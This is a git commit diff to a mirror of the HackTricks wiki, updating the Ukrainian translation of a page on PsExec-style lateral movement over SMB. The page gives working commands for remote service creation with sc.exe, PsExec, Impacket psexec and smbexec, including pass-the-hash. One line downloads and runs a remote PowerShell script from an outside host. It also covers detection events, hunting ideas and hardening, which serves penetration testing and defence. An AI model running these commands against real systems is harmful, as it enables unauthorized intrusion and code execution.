mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m
This commit is contained in:
parent
f43364d743
commit
014c96ae21
@ -4,46 +4,147 @@
|
|||||||
|
|
||||||
## Як вони працюють
|
## Як вони працюють
|
||||||
|
|
||||||
Процес описаний у наступних кроках, ілюструючи, як маніпулюються бінарні файли служб для досягнення віддаленого виконання на цільовій машині через SMB:
|
Ці техніки зловживають Менеджером контролю служб Windows (SCM) віддалено через SMB/RPC для виконання команд на цільовому хості. Загальний процес:
|
||||||
|
|
||||||
1. **Копіювання бінарного файлу служби до спільного доступу ADMIN$ через SMB** виконується.
|
1. Аутентифікація на цільовому хості та доступ до спільної папки ADMIN$ через SMB (TCP/445).
|
||||||
2. **Створення служби на віддаленій машині** здійснюється шляхом вказівки на бінарний файл.
|
2. Копіювання виконуваного файлу або вказівка команди LOLBAS, яку служба буде виконувати.
|
||||||
3. Служба **запускається віддалено**.
|
3. Створення служби віддалено через SCM (MS-SCMR через \PIPE\svcctl), вказуючи на цю команду або двійковий файл.
|
||||||
4. Після виходу служба **зупиняється, а бінарний файл видаляється**.
|
4. Запуск служби для виконання корисного навантаження та, за бажанням, захоплення stdin/stdout через іменований канал.
|
||||||
|
5. Зупинка служби та очищення (видалення служби та будь-яких скинутих двійкових файлів).
|
||||||
|
|
||||||
### **Процес ручного виконання PsExec**
|
Вимоги/попередні умови:
|
||||||
|
- Локальний адміністратор на цільовому хості (SeCreateServicePrivilege) або явні права на створення служби на цільовому хості.
|
||||||
|
- Доступний SMB (445) та спільна папка ADMIN$; Дозволено віддалене управління службами через брандмауер хоста.
|
||||||
|
- Обмеження UAC для віддалених: з локальними обліковими записами фільтрація токенів може блокувати адміністратора через мережу, якщо не використовувати вбудованого адміністратора або LocalAccountTokenFilterPolicy=1.
|
||||||
|
- Kerberos проти NTLM: використання імені хоста/FQDN дозволяє Kerberos; підключення за IP часто повертається до NTLM (і може бути заблоковане в захищених середовищах).
|
||||||
|
|
||||||
Припустимо, що є виконуваний вантаж (створений за допомогою msfvenom і обфусцований за допомогою Veil для уникнення виявлення антивірусом), названий 'met8888.exe', що представляє вантаж meterpreter reverse_http, виконуються наступні кроки:
|
### Ручний ScExec/WinExec через sc.exe
|
||||||
|
|
||||||
- **Копіювання бінарного файлу**: Виконуваний файл копіюється до спільного доступу ADMIN$ з командного рядка, хоча його можна розмістити в будь-якому місці файлової системи, щоб залишитися непоміченим.
|
Наступне показує мінімальний підхід до створення служби. Зображення служби може бути скинутим EXE або LOLBAS, таким як cmd.exe або powershell.exe.
|
||||||
- Замість копіювання бінарного файлу також можна використовувати бінарний файл LOLBAS, такий як `powershell.exe` або `cmd.exe`, щоб виконувати команди безпосередньо з аргументів. Наприклад, `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
```cmd
|
||||||
- **Створення служби**: Використовуючи команду Windows `sc`, яка дозволяє запитувати, створювати та видаляти служби Windows віддалено, створюється служба з назвою "meterpreter", яка вказує на завантажений бінарний файл.
|
:: Execute a one-liner without dropping a binary
|
||||||
- **Запуск служби**: Останній крок полягає в запуску служби, що, ймовірно, призведе до помилки "time-out" через те, що бінарний файл не є справжнім бінарним файлом служби і не повертає очікуваний код відповіді. Ця помилка не має значення, оскільки основна мета - виконання бінарного файлу.
|
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
|
||||||
|
sc.exe \\TARGET start HTSvc
|
||||||
|
sc.exe \\TARGET delete HTSvc
|
||||||
|
|
||||||
Спостереження за прослуховувачем Metasploit покаже, що сесія була успішно ініційована.
|
:: Drop a payload to ADMIN$ and execute it (example path)
|
||||||
|
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
|
||||||
[Дізнайтеся більше про команду `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
|
||||||
|
sc.exe \\TARGET start HTSvc
|
||||||
Знайдіть більш детальні кроки в: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
|
sc.exe \\TARGET delete HTSvc
|
||||||
|
|
||||||
- Ви також можете використовувати **бінарний файл Windows Sysinternals PsExec.exe**:
|
|
||||||
|
|
||||||
.png>)
|
|
||||||
|
|
||||||
Або отримати доступ до нього через webdav:
|
|
||||||
```bash
|
|
||||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
|
||||||
```
|
```
|
||||||
- Ви також можете використовувати [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
Примітки:
|
||||||
|
- Очікуйте помилку тайм-ауту при запуску EXE, що не є службою; виконання все ще відбувається.
|
||||||
|
- Щоб залишатися більш дружніми до OPSEC, надавайте перевагу безфайловим командам (cmd /c, powershell -enc) або видаляйте скинуті артефакти.
|
||||||
|
|
||||||
|
Знайдіть більш детальні кроки за адресою: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
|
||||||
|
|
||||||
|
## Інструменти та приклади
|
||||||
|
|
||||||
|
### Sysinternals PsExec.exe
|
||||||
|
|
||||||
|
- Класичний інструмент адміністратора, який використовує SMB для скидання PSEXESVC.exe в ADMIN$, встановлює тимчасову службу (ім'я за замовчуванням PSEXESVC) і проксірує I/O через іменовані канали.
|
||||||
|
- Приклади використання:
|
||||||
|
```cmd
|
||||||
|
:: Interactive SYSTEM shell on remote host
|
||||||
|
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
|
||||||
|
|
||||||
|
:: Run a command as a specific domain user
|
||||||
|
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
|
||||||
|
|
||||||
|
:: Customize the service name for OPSEC (-r)
|
||||||
|
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
||||||
|
```
|
||||||
|
- Ви можете запускати безпосередньо з Sysinternals Live через WebDAV:
|
||||||
|
```cmd
|
||||||
|
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||||
|
```
|
||||||
|
OPSEC
|
||||||
|
- Залишає події встановлення/видалення служби (Ім'я служби часто PSEXESVC, якщо не використано -r) і створює C:\Windows\PSEXESVC.exe під час виконання.
|
||||||
|
|
||||||
|
### Impacket psexec.py (схожий на PsExec)
|
||||||
|
|
||||||
|
- Використовує вбудовану службу, схожу на RemCom. Скидає тимчасовий бінарний файл служби (зазвичай з випадковою назвою) через ADMIN$, створює службу (за замовчуванням часто RemComSvc) і проксірує I/O через іменований канал.
|
||||||
```bash
|
```bash
|
||||||
|
# Password auth
|
||||||
|
psexec.py DOMAIN/user:Password@HOST cmd.exe
|
||||||
|
|
||||||
|
# Pass-the-Hash
|
||||||
|
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
|
||||||
|
|
||||||
|
# Kerberos (use tickets in KRB5CCNAME)
|
||||||
|
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
||||||
|
|
||||||
|
# Change service name and output encoding
|
||||||
|
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||||
|
```
|
||||||
|
Артефакти
|
||||||
|
- Тимчасовий EXE у C:\Windows\ (випадкові 8 символів). Ім'я служби за замовчуванням - RemComSvc, якщо не переопределено.
|
||||||
|
|
||||||
|
### Impacket smbexec.py (SMBExec)
|
||||||
|
|
||||||
|
- Створює тимчасову службу, яка запускає cmd.exe і використовує іменований канал для вводу/виводу. Загалом уникає скидання повного EXE вантажу; виконання команд є напівінтерактивним.
|
||||||
|
```bash
|
||||||
|
smbexec.py DOMAIN/user:Password@HOST
|
||||||
|
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
|
||||||
|
```
|
||||||
|
### SharpLateral та SharpMove
|
||||||
|
|
||||||
|
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) реалізує кілька методів бічного переміщення, включаючи виконання на основі сервісу.
|
||||||
|
```cmd
|
||||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||||
```
|
```
|
||||||
- Ви також можете використовувати [**SharpMove**](https://github.com/0xthirteen/SharpMove):
|
- [SharpMove](https://github.com/0xthirteen/SharpMove) включає модифікацію/створення служби для віддаленого виконання команди.
|
||||||
```bash
|
```cmd
|
||||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||||
```
|
```
|
||||||
- Ви також можете використовувати **Impacket's `psexec` та `smbexec.py`**.
|
- Ви також можете використовувати CrackMapExec для виконання через різні бекенди (psexec/smbexec/wmiexec):
|
||||||
|
```bash
|
||||||
|
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
|
||||||
|
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
|
||||||
|
```
|
||||||
|
## OPSEC, виявлення та артефакти
|
||||||
|
|
||||||
|
Типові артефакти хоста/мережі при використанні технік, подібних до PsExec:
|
||||||
|
- Безпека 4624 (Тип входу 3) та 4672 (Спеціальні привілеї) на цілі для облікового запису адміністратора, що використовується.
|
||||||
|
- Безпека 5140/5145 Події спільного доступу до файлів та деталі спільного доступу до файлів, що показують доступ до ADMIN$ та створення/запис службових бінарних файлів (наприклад, PSEXESVC.exe або випадковий 8-символьний .exe).
|
||||||
|
- Безпека 7045 Встановлення служби на цілі: імена служб, такі як PSEXESVC, RemComSvc або користувацькі (-r / -service-name).
|
||||||
|
- Sysmon 1 (Створення процесу) для services.exe або образу служби, 3 (З'єднання з мережею), 11 (Створення файлу) в C:\Windows\, 17/18 (Трубопровід створено/підключено) для трубопроводів, таких як \\.\pipe\psexesvc, \\.\pipe\remcom_*, або випадкові еквіваленти.
|
||||||
|
- Артефакт реєстру для EULA Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 на хості оператора (якщо не подавлено).
|
||||||
|
|
||||||
|
Ідеї для полювання
|
||||||
|
- Сповіщення про встановлення служб, де ImagePath включає cmd.exe /c, powershell.exe або TEMP-локації.
|
||||||
|
- Шукати створення процесів, де ParentImage є C:\Windows\PSEXESVC.exe або діти services.exe, що працюють як LOCAL SYSTEM, виконуючи оболонки.
|
||||||
|
- Позначати іменовані трубопроводи, що закінчуються на -stdin/-stdout/-stderr або відомі імена трубопроводів клонів PsExec.
|
||||||
|
|
||||||
|
## Усунення поширених збоїв
|
||||||
|
- Доступ заборонено (5) при створенні служб: не справжній локальний адміністратор, обмеження UAC для локальних облікових записів або захист від підробки EDR на шляху до бінарного файлу служби.
|
||||||
|
- Мережева адреса не знайдена (53) або не вдалося підключитися до ADMIN$: брандмауер блокує SMB/RPC або адміністративні спільні папки вимкнені.
|
||||||
|
- Kerberos не вдається, але NTLM заблоковано: підключайтеся за допомогою імені хоста/FQDN (не IP), забезпечте правильні SPN або надайте -k/-no-pass з квитками при використанні Impacket.
|
||||||
|
- Час запуску служби вичерпано, але корисне навантаження виконано: очікується, якщо це не справжній бінарний файл служби; захопіть вихід у файл або використовуйте smbexec для живого I/O.
|
||||||
|
|
||||||
|
## Примітки щодо зміцнення (сучасні зміни)
|
||||||
|
- Windows 11 24H2 та Windows Server 2025 вимагають підписування SMB за замовчуванням для вихідних (та вхідних з Windows 11) з'єднань. Це не порушує законне використання PsExec з дійсними обліковими даними, але запобігає зловживанню непідписаним SMB реле та може вплинути на пристрої, які не підтримують підписування.
|
||||||
|
- Нове блокування NTLM клієнта SMB (Windows 11 24H2/Server 2025) може запобігти зворотному зв'язку NTLM при підключенні за IP або до серверів, що не підтримують Kerberos. У зміцнених середовищах це зламає PsExec/SMBExec на основі NTLM; використовуйте Kerberos (ім'я хоста/FQDN) або налаштуйте винятки, якщо це дійсно потрібно.
|
||||||
|
- Принцип найменших привілеїв: мінімізуйте членство локальних адміністраторів, надавайте перевагу Just-in-Time/Just-Enough Admin, впроваджуйте LAPS та моніторте/сповіщайте про встановлення служб 7045.
|
||||||
|
|
||||||
|
## Дивіться також
|
||||||
|
|
||||||
|
- WMI-орієнтоване віддалене виконання (часто безфайлове):
|
||||||
|
{{#ref}}
|
||||||
|
lateral-movement/wmiexec.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
- WinRM-орієнтоване віддалене виконання:
|
||||||
|
{{#ref}}
|
||||||
|
lateral-movement/winrm.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||||
|
- Зміцнення безпеки SMB у Windows Server 2025 та Windows 11 (підписування за замовчуванням, блокування NTLM): https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user